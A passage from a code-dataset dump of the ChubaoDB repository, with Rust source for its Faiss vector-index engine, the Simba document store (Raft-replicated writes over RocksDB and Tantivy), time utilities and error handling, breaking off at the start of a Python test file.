SeqCst);\n let field_name = index.field.name.clone();\n\n let max_len = (index.field.train_size * index.field.dimension) as usize;\n\n let mut buf: Vec<f32> = Vec::with_capacity(max_len);\n let faiss_index = Index::new(Config {\n dimension: index.field.dimension,\n description: index.field.description.clone(),\n metric_type: index.field.metric_type.to_faiss(),\n path: index.index.read().unwrap().config.path.clone(),\n });\n\n let prefix = field_coding(&field_name, 1);\n let suffix = field_coding(&field_name, u32::max_value());\n let temp = &mut buf;\n let result = db.prefix_range(prefix, |k, v| -> ASResult<bool> {\n if k >= suffix.as_slice() {\n return Ok(false);\n }\n\n temp.extend_from_slice(slice_slice(v));\n\n if temp.len() >= max_len {\n return Ok(false);\n }\n return Ok(true);\n });\n\n if let Err(e) = result {\n error!(\"create index has err:{:?}\", e);\n }\n\n let now = current_millis();\n info!(\"begin train index for field:{}\", field_name);\n if let Err(e) = faiss_index.train(temp) {\n error!(\"field:{} train index has err:{:?}\", field_name, e);\n return;\n };\n info!(\n \"field:{} train use time:{}\",\n field_name,\n (current_millis() - now)\n );\n unsafe {\n temp.set_len(0);\n }\n\n let is_array = index.field.array;\n let dimension = index.field.dimension as usize;\n let train_size = index.field.train_size as usize;\n\n let mut ids: Vec<i64> = Vec::with_capacity(train_size as usize);\n while index.status() != IndexStatus::Stoping {\n let temp = &mut buf;\n let ids = &mut ids;\n unsafe {\n ids.set_len(0);\n temp.set_len(0);\n }\n\n let result = read_vector_buffer(\n &db,\n field_coding(&field_name, index.max_id() + 1),\n suffix.as_slice(),\n ids,\n temp,\n dimension,\n is_array,\n );\n\n if let Err(e) = result {\n error!(\"create index has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n }\n\n if ids.len() == 0 {\n break;\n }\n\n if let Err(e) = faiss_index.add_with_ids(ids, temp) {\n error!(\"index with ids has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n };\n //if id is over goto index_job_by_index\n if ids.len() < train_size {\n break;\n }\n }\n\n {\n let mut i = index.index.write().unwrap();\n *index.status.write().unwrap() = IndexStatus::Runging;\n *i = faiss_index;\n }\n\n std::thread::spawn(move || {\n db.arc_count.fetch_sub(1, SeqCst);\n Faiss::index_job_by_index(db, index);\n warn!(\"field:{:?} stop index_job_by_index \", field_name);\n });\n }\n\n fn index_job_by_index(db: Arc<RocksDB>, index: Arc<IndexField>) {\n warn!(\"field:{:?} start index_job_by_index \", index.field.name);\n db.arc_count.fetch_add(1, SeqCst);\n let field_name = index.field.name.as_str();\n let suffix = field_coding(field_name, u32::max_value());\n\n let max_len = (index.field.train_size * index.field.dimension) as usize;\n\n let mut buf: Vec<f32> = Vec::with_capacity(max_len);\n\n let is_array = index.field.array;\n let dimension = index.field.dimension as usize;\n let train_size = index.field.train_size as usize;\n\n let mut ids: Vec<i64> = Vec::with_capacity(train_size as usize);\n while index.status() != IndexStatus::Stoping {\n let temp = &mut buf;\n let ids = &mut ids;\n unsafe {\n ids.set_len(0);\n temp.set_len(0);\n }\n let result = read_vector_buffer(\n &db,\n field_coding(&field_name, index.max_id() + 1),\n suffix.as_slice(),\n ids,\n temp,\n dimension,\n is_array,\n );\n\n if let Err(e) = result {\n error!(\"create index has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n }\n\n if ids.len() == 0 {\n debug!(\"field:{} no document need index so skip\", field_name);\n crate::sleep!(3000);\n continue;\n }\n\n if let Err(e) = index.add_with_ids(ids, temp) {\n error!(\"index with ids has err:{:?}\", e);\n crate::sleep!(3000);\n continue;\n };\n\n if ids.len() < train_size {\n crate::sleep!(3000);\n continue;\n }\n }\n\n {\n *index.status.write().unwrap() = IndexStatus::Stoped;\n }\n }\n}\n\nimpl Engine for Faiss {\n fn flush(&self) -> ASResult<()> {\n for (_, fi) in self.fields.iter() {\n if let Err(e) = fi.flush() {\n info!(\n \"field:{} flush vector index has err:{}\",\n fi.field.name,\n e.to_string()\n );\n }\n }\n Ok(())\n }\n\n fn release(&self) {\n for (_f, i) in self.fields.iter() {\n i.stop(false);\n }\n\n //take twoice\n for (_f, i) in self.fields.iter() {\n i.stop(true);\n }\n\n if let Err(e) = self.flush() {\n error!(\"flush faiss engine has err:{:?}\", e);\n };\n }\n}\n\n// cache size is ids.capacity()\nfn read_vector_buffer(\n db: &Arc<RocksDB>,\n prefix: Vec<u8>,\n suffix: &[u8],\n ids: &mut Vec<i64>,\n temp: &mut Vec<f32>,\n dimension: usize,\n is_array: bool,\n) -> ASResult<()> {\n let max_len = ids.capacity();\n db.prefix_range(prefix, |k, v| -> ASResult<bool> {\n if k >= suffix {\n return Ok(false);\n }\n\n let id = slice_u32(&k[k.len() - 4..]);\n if is_array {\n for _i in 0..(v.len() / dimension) as u8 {\n ids.push(id as i64)\n }\n } else {\n ids.push(id as i64);\n }\n temp.extend_from_slice(slice_slice(v));\n\n if ids.len() >= max_len {\n return Ok(false);\n }\n return Ok(true);\n })\n}\n" }, { "alpha_fraction": 0.4956526756286621, "alphanum_fraction": 0.5011593103408813, "avg_line_length": 31.55094337463379, "blob_id": "0ab4e8f4aadadac860245cd9b96245702cea026f", "content_id": "ff0a34b15dec15007207b8a41b58c462309f40d5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 17252, "license_type": "permissive", "max_line_length": 95, "num_lines": 530, "path": "/src/pserver/simba/simba.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserver::raft::*;\n#[cfg(vector)]\nuse crate::pserver::simba::engine::faiss::Faiss;\n#[cfg(not(vecotr))]\nuse crate::pserver::simba::engine::faiss_empty::Faiss;\nuse crate::pserver::simba::engine::{\n engine::{BaseEngine, Engine},\n rocksdb::RocksDB,\n tantivy::Event as TantivyEvent,\n tantivy::Tantivy,\n};\nuse crate::pserver::simba::latch::Latch;\nuse crate::pserverpb::*;\nuse crate::sleep;\nuse crate::util::{\n coding::{doc_key, field_coding, iid_coding, key_coding, slice_slice},\n config,\n entity::*,\n error::*,\n time::current_millis,\n};\nuse crate::*;\nuse log::{debug, error, info, warn};\nuse prost::Message;\nuse raft4rs::{error::RaftError, raft::Raft};\nuse roaring::RoaringBitmap;\nuse rocksdb::WriteBatch;\nuse serde_json::Value;\nuse std::sync::{\n atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering::SeqCst},\n Arc, RwLock,\n};\npub struct Simba {\n pub base: Arc<BaseEngine>,\n latch: Latch,\n raft_index: AtomicU64,\n max_iid: AtomicU32,\n del_map: RwLock<RoaringBitmap>,\n //engins\n rocksdb: Arc<RocksDB>,\n tantivy: Arc<Tantivy>,\n faiss: Faiss,\n}\n\nimpl Simba {\n pub fn new(\n conf: Arc<config::Config>,\n collection: Arc<Collection>,\n partition: Arc<Partition>,\n ) -> ASResult<Arc<Simba>> {\n let base = Arc::new(BaseEngine {\n conf: conf.clone(),\n collection: collection.clone(),\n partition: partition.clone(),\n stoped: AtomicBool::new(false),\n });\n\n let rocksdb = Arc::new(RocksDB::new(base.clone())?);\n let tantivy = Tantivy::new(rocksdb.clone(), base.clone())?;\n let faiss = Faiss::new(rocksdb.clone(), base.clone())?;\n\n let raft_index = rocksdb.read_raft_index()?;\n let max_iid = rocksdb.find_max_iid();\n let simba = Arc::new(Simba {\n base: base,\n latch: Latch::new(50000),\n raft_index: AtomicU64::new(raft_index),\n max_iid: AtomicU32::new(max_iid),\n del_map: RwLock::new(RoaringBitmap::new()),\n rocksdb: rocksdb,\n tantivy: tantivy,\n faiss: faiss,\n });\n\n let simba_flush = simba.clone();\n\n std::thread::spawn(move || {\n info!(\n \"to start commit job for partition:{} begin\",\n simba_flush.base.partition.id\n );\n if let Err(e) = simba_flush.flush() {\n panic!(format!(\n \"flush partition:{} has err :{}\",\n simba_flush.base.partition.id,\n e.to_string()\n ));\n };\n warn!(\n \"parititon:{} stop commit job\",\n simba_flush.base.partition.id\n );\n });\n\n Ok(simba)\n }\n pub fn get(&self, id: &str, sort_key: &str) -> ASResult<Vec<u8>> {\n Ok(self.get_by_key(key_coding(id, sort_key).as_ref())?.1)\n }\n\n fn get_by_key(&self, key: &Vec<u8>) -> ASResult<(Vec<u8>, Vec<u8>)> {\n let iid = match self.rocksdb.db.get(key).map_err(cast)? {\n Some(v) => v,\n None => return result!(Code::RocksDBNotFound, \"not found id by key:[{:?}]\", key),\n };\n\n match self.rocksdb.get_doc_by_id(&iid).map_err(cast)? {\n Some(v) => Ok((iid, v)),\n None => result!(Code::RocksDBNotFound, \"not found iid by key:[{:?}]\", &iid),\n }\n }\n\n pub fn count(&self) -> ASResult<CountDocumentResponse> {\n let mut count_rep = CountDocumentResponse {\n code: Code::Success as i32,\n estimate_count: self.rocksdb.estimate_count()?,\n db_count: self.rocksdb.count()?,\n index_count: self.tantivy.count()?,\n vectors_count: Vec::new(),\n message: String::default(),\n };\n\n for (name, value) in &self.faiss.fields {\n count_rep.vectors_count.push(VectorCount {\n name: name.clone(),\n count: value.count() as u64,\n });\n }\n\n Ok(count_rep)\n }\n\n pub fn search(&self, sdreq: Arc<QueryRequest>) -> SearchDocumentResponse {\n let mut resp = if sdreq.vector_query.is_none() {\n match self.tantivy.query(sdreq) {\n Ok(r) => r,\n Err(e) => e.into(),\n }\n } else {\n let (bitmap, total) = match self.tantivy.filter(sdreq.clone()) {\n Ok(b) => b,\n Err(e) => return e.into(),\n };\n match self.faiss.search(sdreq, bitmap, total) {\n Ok(r) => r,\n Err(e) => e.into(),\n }\n };\n\n for hit in resp.hits.iter_mut() {\n match self.rocksdb.get_doc_by_id(&hit.doc) {\n Ok(v) => match v {\n Some(v) => hit.doc = v,\n None => error!(\"not found doc by id :{:?}\", &hit.doc),\n },\n Err(e) => return e.into(),\n }\n }\n\n return resp;\n }\n\n pub fn agg(&self, ar: Arc<QueryRequest>) -> AggregationResponse {\n match self.tantivy.agg(ar) {\n Ok(r) => r,\n Err(e) => e.into(),\n }\n }\n\n pub async fn write(&self, req: WriteDocumentRequest, raft: Arc<Raft>) -> ASResult<()> {\n let (doc, write_type) = (req.doc.unwrap(), WriteType::from_i32(req.write_type));\n match write_type {\n Some(WriteType::Put) => self._put(doc, raft).await,\n Some(WriteType::Create) => self._create(doc, raft).await,\n Some(WriteType::Update) => self._update(doc, raft).await,\n Some(WriteType::Upsert) => self._upsert(doc, raft).await,\n Some(WriteType::Delete) => self._delete(doc, raft).await,\n Some(_) | None => {\n return result_def!(\"can not do the handler:{:?}\", write_type);\n }\n }\n }\n\n async fn _create(&self, mut doc: Document, raft: Arc<Raft>) -> ASResult<()> {\n let key = doc_key(&doc);\n doc.version = 1;\n let buf1 = self.doc_encoding(&mut doc)?;\n\n let _lock = self.latch.latch_lock(doc.slot);\n\n if let Err(e) = self.get_by_key(&key) {\n if e.code() != Code::RocksDBNotFound {\n return Err(e);\n }\n } else {\n return result_def!(\"the document:{:?} already exists\", key);\n }\n\n self.raft_write(Event::Create(key, buf1), raft).await\n }\n\n async fn _update(&self, mut doc: Document, raft: Arc<Raft>) -> ASResult<()> {\n let (old_version, key) = (doc.version, doc_key(&doc));\n\n let _lock = self.latch.latch_lock(doc.slot);\n\n let (old_iid, old) =\n self.get_by_key(&key_coding(doc.id.as_str(), doc.sort_key.as_str()))?;\n let old: Document = Message::decode(prost::bytes::Bytes::from(old))?;\n if old_version > 0 && old.version != old_version {\n return result!(\n Code::VersionErr,\n \"the document:{} version not right expected:{} found:{}\",\n doc.id,\n old_version,\n old.version\n );\n }\n\n merge_doc(&mut doc, old)?;\n doc.version += old_version + 1;\n\n let buf1 = self.doc_encoding(&mut doc)?;\n self.raft_write(Event::Update(old_iid, key, buf1), raft)\n .await\n }\n\n async fn _upsert(&self, mut doc: Document, raft: Arc<Raft>) -> ASResult<()> {\n let key = doc_key(&doc);\n let _lock = self.latch.latch_lock(doc.slot);\n let old = match self.get_by_key(key.as_ref()) {\n Ok(o) => Some(o),\n Err(e) => {\n if e.code() == Code::RocksDBNotFound {\n None\n } else {\n return Err(e);\n }\n }\n };\n\n let event: Event;\n if let Some((iid, old)) = old {\n let old: Document = Message::decode(prost::bytes::Bytes::from(old))?;\n merge_doc(&mut doc, old)?;\n doc.version += 1;\n let buf1 = self.doc_encoding(&mut doc)?;\n\n event = Event::Update(iid, key, buf1);\n } else {\n doc.version = 1;\n let buf1 = self.doc_encoding(&mut doc)?;\n event = Event::Create(key, buf1);\n }\n\n self.raft_write(event, raft).await\n }\n\n async fn _delete(&self, doc: Document, raft: Arc<Raft>) -> ASResult<()> {\n let key = doc_key(&doc);\n let _lock = self.latch.latch_lock(doc.slot);\n\n let iid = match self.rocksdb.db.get(&key) {\n Ok(ov) => match ov {\n Some(v) => v,\n None => return result!(Code::RocksDBNotFound, \"id:{:?} not found!\", key,),\n },\n Err(e) => return result_def!(\"get key has err:{}\", e),\n };\n\n self.raft_write(Event::Delete(iid, key), raft).await\n }\n\n async fn _put(&self, mut doc: Document, raft: Arc<Raft>) -> ASResult<()> {\n let key = doc_key(&doc);\n doc.version = 1;\n let buf1 = self.doc_encoding(&mut doc)?;\n let _lock = self.latch.latch_lock(doc.slot);\n let iid = match self.rocksdb.db.get(&key) {\n Ok(iid) => iid,\n Err(_) => None,\n };\n\n match iid {\n Some(id) => self.raft_write(Event::Update(id, key, buf1), raft).await,\n None => self.raft_write(Event::Create(key, buf1), raft).await,\n }\n }\n\n pub fn doc_encoding(&self, doc: &mut Document) -> ASResult<Vec<u8>> {\n let mut buf = Vec::new();\n if self.base.collection.fields.len() == 0 {\n if let Err(error) = doc.encode(&mut buf) {\n return Err(error.into());\n }\n return Ok(buf);\n }\n\n let mut source: Value = serde_json::from_slice(doc.source.as_slice())?;\n\n for i in self.base.collection.scalar_field_index.iter() {\n let field = &self.base.collection.fields[*i];\n field.validate(source.get(field.name()))?;\n }\n\n if self.base.collection.vector_field_index.len() == 0 {\n if let Err(error) = doc.encode(&mut buf) {\n return Err(error.into());\n }\n return Ok(buf);\n }\n\n let map = source.as_object_mut().unwrap();\n\n let mut vectors = Vec::with_capacity(self.base.collection.vector_field_index.len());\n\n for i in self.base.collection.vector_field_index.iter() {\n let field = match &self.base.collection.fields[*i] {\n Field::vector(field) => field,\n _ => panic!(format!(\"vector field index has not field index:{}\", *i)),\n };\n let value = field.validate(map.remove(&field.name))?;\n if value.len() == 0 {\n continue;\n }\n\n vectors.push(Vector {\n name: field.name.clone(),\n vector: value,\n });\n }\n\n doc.vectors = vectors;\n doc.source = serde_json::to_vec(&0)?;\n\n if let Err(error) = doc.encode(&mut buf) {\n return Err(error.into());\n }\n return Ok(buf);\n }\n\n async fn raft_write(&self, event: Event, raft: Arc<Raft>) -> ASResult<()> {\n match raft.submit(event.encode()).await {\n Ok(()) => Ok(()),\n Err(e) => match e {\n RaftError::ErrCode(c, m) => Err(ASError::Error(Code::from_i32(c), m)),\n _ => Err(ASError::from(e)),\n },\n }\n }\n\n pub fn do_write(&self, raft_index: u64, data: &[u8], check: bool) -> ASResult<()> {\n let (event, old_iid, key, value) = Event::decode(data);\n\n if event == EventType::Delete {\n self.rocksdb.delete(key)?;\n self.tantivy.write(TantivyEvent::Delete(old_iid))?;\n self.del_map.write().unwrap().insert(old_iid as u32);\n } else {\n let general_id = self.general_id();\n let iid = iid_coding(general_id);\n let mut batch = WriteBatch::default();\n batch.put(key, &iid);\n if self.base.collection.fields.len() == 0 {\n batch.put_cf(self.rocksdb.id_cf(), iid, value);\n return self.rocksdb.write_batch(batch);\n }\n\n if self.base.collection.vector_field_index.len() > 0 {\n let mut pbdoc: Document =\n Message::decode(prost::bytes::Bytes::from(value.to_vec()))?;\n\n let vectors = pbdoc.vectors;\n pbdoc.vectors = Vec::new();\n for v in vectors {\n batch.put(field_coding(&v.name, general_id), slice_slice(&v.vector));\n }\n\n let mut buf1 = Vec::new();\n if let Err(error) = pbdoc.encode(&mut buf1) {\n return Err(ASError::Error(Code::EncodingErr, error.to_string()));\n };\n\n batch.put_cf(self.rocksdb.id_cf(), iid, &buf1);\n } else {\n batch.put_cf(self.rocksdb.id_cf(), iid, value);\n }\n\n if !check\n || self\n .rocksdb\n .get_doc_by_id(&iid_coding(general_id))?\n .is_none()\n {\n self.rocksdb.write_batch(batch)?;\n }\n\n if !check || !self.tantivy.exist(general_id)? {\n self.tantivy\n .write(TantivyEvent::Update(old_iid, general_id))?;\n if old_iid > 0 {\n self.del_map.write().unwrap().insert(old_iid);\n }\n }\n }\n\n self.raft_index.store(raft_index, SeqCst);\n\n return Ok(());\n }\n\n pub fn readonly(&self) -> bool {\n return false; //TODO: FIX ME\n }\n}\n\nimpl Simba {\n fn flush(&self) -> ASResult<()> {\n let flush_time = self.base.conf.ps.flush_sleep_sec.unwrap_or(3) * 1000;\n\n let mut times = 0;\n\n let mut pre_index = 0;\n\n while !self.base.stoped.load(SeqCst) {\n times += 1;\n\n sleep!(flush_time);\n\n let begin = current_millis();\n\n let index = self.raft_index.load(SeqCst);\n\n if let Err(e) = self.tantivy.flush() {\n error!(\"flush tantivy has err :{:?}\", e);\n };\n\n if let Err(e) = self.faiss.flush() {\n error!(\"flush faiss has err :{:?}\", e);\n };\n\n if times % 10 == 0 && pre_index < index {\n if let Err(e) = self.rocksdb.write_raft_index(pre_index) {\n error!(\"write has err :{:?}\", e);\n };\n if let Err(e) = self.rocksdb.flush() {\n error!(\"rocksdb flush has err:{:?}\", e);\n }\n pre_index = index;\n }\n\n debug!(\"flush job ok use time:{}ms\", current_millis() - begin);\n }\n Ok(())\n }\n\n pub fn stop(&self) {\n self.base.stoped.store(true, SeqCst);\n }\n\n pub fn release(&self) {\n if !self.base.stoped.load(SeqCst) {\n panic!(\"call release mut take stop function before\");\n }\n self.rocksdb.release();\n self.tantivy.release();\n\n while Arc::strong_count(&self.rocksdb) > self.rocksdb.arc_count.load(SeqCst) as usize {\n info!(\n \"wait release collection:{} partition:{} now is :{}/{}\",\n self.base.collection.id,\n self.base.partition.id,\n Arc::strong_count(&self.rocksdb),\n self.rocksdb.arc_count.load(SeqCst)\n );\n crate::sleep!(300);\n }\n }\n\n pub fn get_raft_index(&self) -> u64 {\n self.raft_index.load(SeqCst)\n }\n\n pub fn set_raft_index(&self, raft_index: u64) {\n self.raft_index.store(raft_index, SeqCst);\n }\n\n pub fn general_id(&self) -> u32 {\n let id = self.max_iid.fetch_add(1, SeqCst);\n return id + 1;\n }\n\n pub fn arc_count(&self) {\n self.rocksdb.arc_count.fetch_add(1, SeqCst);\n }\n}\n\nfn merge(a: &mut Value, b: Value) {\n match (a, b) {\n (a @ &mut Value::Object(_), Value::Object(b)) => {\n let a = a.as_object_mut().unwrap();\n for (k, v) in b {\n merge(a.entry(k).or_insert(Value::Null), v);\n }\n }\n (a, b) => *a = b,\n }\n}\n\nfn merge_doc(new: &mut Document, old: Document) -> ASResult<()> {\n let new_src: Value = serde_json::from_slice(new.source.as_slice())?;\n let mut old_src: Value = serde_json::from_slice(old.source.as_slice())?;\n merge(&mut old_src, new_src);\n new.source = serde_json::to_vec(&old_src)?;\n new.version = old.version;\n Ok(())\n}\n" }, { "alpha_fraction": 0.524779736995697, "alphanum_fraction": 0.583149790763855, "avg_line_length": 31.720720291137695, "blob_id": "17458469fb596e98c33ce52f4ee335565a201c11", "content_id": "52a70c5d36485f47866b321a2b845d3ff143b001", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 3632, "license_type": "permissive", "max_line_length": 85, "num_lines": 111, "path": "/src/util/time.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::error::*;\nuse chrono::prelude::*;\n\npub fn current_millis() -> u64 {\n Local::now().timestamp_millis() as u64\n}\n\npub fn timestamp() -> String {\n Local::now().format(\"%Y-%m-%d %H:%M:%S\").to_string()\n}\n\npub fn from_millis(millis: i64) -> NaiveDateTime {\n Utc.timestamp_millis(millis).naive_local()\n}\n\npub fn format_str(s: &str) -> ASResult<NaiveDateTime> {\n match match s.len() {\n 19 => NaiveDateTime::parse_from_str(s, \"%Y-%m-%d %H:%M:%S\"),\n 10 => match NaiveDate::parse_from_str(s, \"%Y-%m-%d\") {\n Ok(v) => Ok(v.and_time(NaiveTime::from_num_seconds_from_midnight(0, 0))),\n Err(e) => Err(e),\n },\n // 13 => NaiveDateTime::parse_from_str(s, \"%Y-%m-%d %H\"),\n 16 => NaiveDateTime::parse_from_str(s, \"%Y-%m-%d %H:%M\"),\n 23 => NaiveDateTime::parse_from_str(s, \"%Y-%m-%d %H:%M:%S%.f\"),\n // 25 => NaiveDateTime::parse_from_str(s, \"%Y-%m-%d %H:%M:%S% %z\"),\n _ => s.parse::<NaiveDateTime>(),\n } {\n Ok(d) => Ok(d.into()),\n Err(e) => Err(ASError::Error(\n Code::FieldValueErr,\n format!(\"{} can not parse to date, err:{}\", s, e.to_string()),\n )),\n }\n}\n\npub struct Now(NaiveDateTime);\n\nimpl Now {\n pub fn new() -> Self {\n Now(Local::now().naive_local())\n }\n pub fn use_time(&self) -> i64 {\n Local::now().timestamp_millis() - self.0.timestamp_millis()\n }\n\n pub fn use_time_str(&self) -> String {\n format!(\"{} ms\", self.use_time())\n }\n}\n\npub fn i64_time_str(t: i64, format: &str) -> String {\n Utc.timestamp_millis(t).format(format).to_string()\n}\n\npub fn str_time_str<'a>(s: &'a str, format: &str) -> ASResult<String> {\n let timestamp = s\n .parse::<NaiveDateTime>()\n .map_err(|e| {\n ASError::Error(\n Code::FieldValueErr,\n format!(\"{} can not parse to date, err:{}\", s, e.to_string()),\n )\n })?\n .timestamp_millis();\n Ok(i64_time_str(timestamp, format))\n}\n\n#[test]\npub fn test_since() {\n let now = Now::new();\n std::thread::sleep(std::time::Duration::from_millis(1200));\n println!(\"use time : {:?}\", now.use_time());\n println!(\"use time : {:?}\", now.use_time_str());\n}\n\n#[test]\npub fn test_timestamp() {\n assert_ne!(timestamp(), \"2014-11-28 12:00:09\");\n}\n\n#[test]\npub fn format_str_test() {\n let dt = format_str(\"2014-11-28 12:00:09\").unwrap();\n assert_eq!(1417176009000, dt.timestamp_millis());\n let dt = format_str(\"2014-11-28 12:00\").unwrap();\n assert_eq!(1417176000000, dt.timestamp_millis());\n // let dt = format_str(\"2014-11-28 12\").unwrap();\n // assert_eq!(1417176000000, dt.timestamp_millis());\n let dt = format_str(\"2014-11-28\").unwrap();\n assert_eq!(1417132800000, dt.timestamp_millis());\n\n let dt = format_str(\"2014-11-28 12:00:09.123\").unwrap();\n assert_eq!(1417176009123, dt.timestamp_millis());\n\n // let dt = format_str(\"2014-11-28 12:00:09+09:30\").unwrap();\n // assert_eq!(1417176009123, dt.timestamp_millis());\n}\n" }, { "alpha_fraction": 0.4879903197288513, "alphanum_fraction": 0.4945567548274994, "avg_line_length": 22.913223266601562, "blob_id": "78751f3eee2d952660a0650e47f94834aed769b1", "content_id": "86caf619a52b3c0646f320ce91d0ec14daecb668", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 5787, "license_type": "permissive", "max_line_length": 87, "num_lines": 242, "path": "/src/util/error.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::pserverpb::*;\nuse log::error;\nuse num_enum::{IntoPrimitive, TryFromPrimitive};\nuse serde_json::json;\nuse std::convert::TryFrom;\nuse std::error::Error;\n\npub type ASResult<T> = std::result::Result<T, ASError>;\n\n#[macro_export]\nmacro_rules! err {\n ($code:expr , $arg:expr) => {{\n use std::convert::TryFrom;\n let code = match Code::try_from($code) {\n Ok(c) => c,\n Err(_) => Code::InvalidErr,\n };\n ASError::Error(code, format!(\"{}\", $arg))\n }};\n ($code:expr , $($arg:tt)*) => {{\n use std::convert::TryFrom;\n let code = match Code::try_from($code) {\n Ok(c) => c,\n Err(_) => Code::InvalidErr,\n };\n ASError::Error(code, format!($($arg)*))\n }};\n}\n\n#[macro_export]\nmacro_rules! err_def {\n ($arg:expr) => {{\n ASError::Error(Code::InternalErr, format!(\"{}\", $arg))\n }};\n ($($arg:tt)*) => {{\n ASError::Error(Code::InternalErr, format!($($arg)*))\n }};\n}\n\n#[macro_export]\nmacro_rules! result {\n ($code:expr , $arg:expr) => {{\n Err(err!($code, $arg))\n }};\n ($code:expr , $($arg:tt)*) => {{\n Err(err!($code, $($arg)*))\n }};\n}\n\n#[macro_export]\nmacro_rules! result_def {\n ($arg:expr) => {{\n Err(err_def!($arg))\n }};\n ($($arg:tt)*) => {{\n Err(err_def!($($arg)*))\n }};\n}\n\n#[macro_export]\nmacro_rules! result_obj_code {\n ($obj:expr) => {{\n use std::convert::TryFrom;\n let code = match Code::try_from($obj.code) {\n Ok(c) => c,\n Err(_) => Code::InvalidErr,\n };\n\n if code != Code::Success {\n return result!(code, $obj.message);\n } else {\n return Ok($obj);\n }\n }};\n}\n\npub fn conver<T, E: std::fmt::Display>(result: Result<T, E>) -> ASResult<T> {\n match result {\n Ok(t) => Ok(t),\n Err(e) => Err(ASError::Error(Code::InternalErr, format!(\"{}\", e))),\n }\n}\n\n#[derive(Debug, Eq, PartialEq, TryFromPrimitive, IntoPrimitive, Clone, Copy)]\n#[repr(i32)]\npub enum Code {\n Success = 200,\n InternalErr = 550,\n InvalidErr,\n ParamError,\n EngineNotReady,\n EngineWillClose,\n RocksDBNotFound,\n AlreadyExists,\n VersionErr,\n SpaceNoIndex,\n PartitionNotLeader,\n PartitionNotInit,\n PartitionLoadErr,\n FieldTypeErr,\n FieldValueErr,\n LockedAlready,\n LockedLeaseExpried,\n HttpAPIRequestErr,\n EncodingErr,\n DencodingErr,\n Timeout,\n}\n\nimpl Code {\n pub fn http_code(self) -> http::status::StatusCode {\n let code: i32 = self.into();\n match http::status::StatusCode::from_u16(code as u16) {\n Ok(v) => v,\n Err(_) => {\n error!(\"the code:[{:?}] can not to http code\", code);\n http::status::StatusCode::from_u16(551).unwrap()\n }\n }\n }\n\n pub fn from_i32(w: i32) -> Code {\n match Code::try_from(w) {\n Ok(c) => c,\n Err(_) => Code::InvalidErr,\n }\n }\n}\n\n#[derive(Debug, PartialEq)]\npub enum ASError {\n Success,\n Error(Code, String),\n}\n\nimpl ASError {\n pub fn code(&self) -> Code {\n match self {\n ASError::Success => Code::Success,\n ASError::Error(c, _) => *c,\n }\n }\n\n pub fn message(&self) -> String {\n match self {\n ASError::Success => String::from(\"success\"),\n ASError::Error(_, s) => s.clone(),\n }\n }\n\n pub fn to_json(&self) -> serde_json::Value {\n match self {\n ASError::Success => json!({\n \"code\":200,\n \"message\":\"success\",\n }),\n ASError::Error(c, m) => json!({\n \"code\": *c as i32,\n \"message\": m\n }),\n }\n }\n}\n\nimpl std::fmt::Display for ASError {\n fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {\n match self {\n ASError::Error(code, msg) => write!(f, \"code:{:?} -> err:[{}]\", code, msg),\n ASError::Success => write!(f, \"code:200 -> success\"),\n }\n }\n}\n\nimpl<T: Error> From<T> for ASError {\n fn from(t: T) -> Self {\n ASError::Error(Code::HttpAPIRequestErr, t.to_string())\n }\n}\n\npub fn cast<E: std::fmt::Display>(e: E) -> ASError {\n ASError::Error(Code::InternalErr, e.to_string())\n}\n\nimpl Into<SearchDocumentResponse> for ASError {\n fn into(self) -> SearchDocumentResponse {\n SearchDocumentResponse {\n code: self.code().into(),\n total: 0,\n hits: vec![],\n info: Some(SearchInfo {\n error: 1,\n success: 0,\n message: self.to_string(),\n }),\n }\n }\n}\n\nimpl Into<AggregationResponse> for ASError {\n fn into(self) -> AggregationResponse {\n AggregationResponse {\n code: self.code().into(),\n total: 0,\n size: 0,\n result: vec![],\n info: Some(SearchInfo {\n error: 1,\n success: 0,\n message: self.to_string(),\n }),\n }\n }\n}\n\nimpl Into<GeneralResponse> for ASError {\n fn into(self) -> GeneralResponse {\n GeneralResponse {\n code: self.code().into(),\n message: self.to_string(),\n }\n }\n}\n\nimpl Into<DocumentResponse> for ASError {\n fn into(self) -> DocumentResponse {\n DocumentResponse {\n code: self.code().into(),\n message: self.to_string(),\n doc: Vec::default(),\n }\n }\n}\n\nimpl Into<CountDocumentResponse> for ASError {\n fn into(self) -> CountDocumentResponse {\n CountDocumentResponse {\n code: self.code().into(),\n message: self.to_string(),\n ..Default::default()\n }\n }\n}\n" }, { "alpha_fraction": 0.4982440769672394, "alphanum_fraction": 0.523705005645752, "avg_line_length": 29.373332977294922, "blob_id": "f1830ddd9110433faa55777299bdb46685eed018", "content_id": "242e4b1d6839b431d014ccd2bcaa540e4244ee06", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2278, "license_type": "permissive", "max_line_length": 90, "num_lines": 75, "path": "/test/vector_test.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import 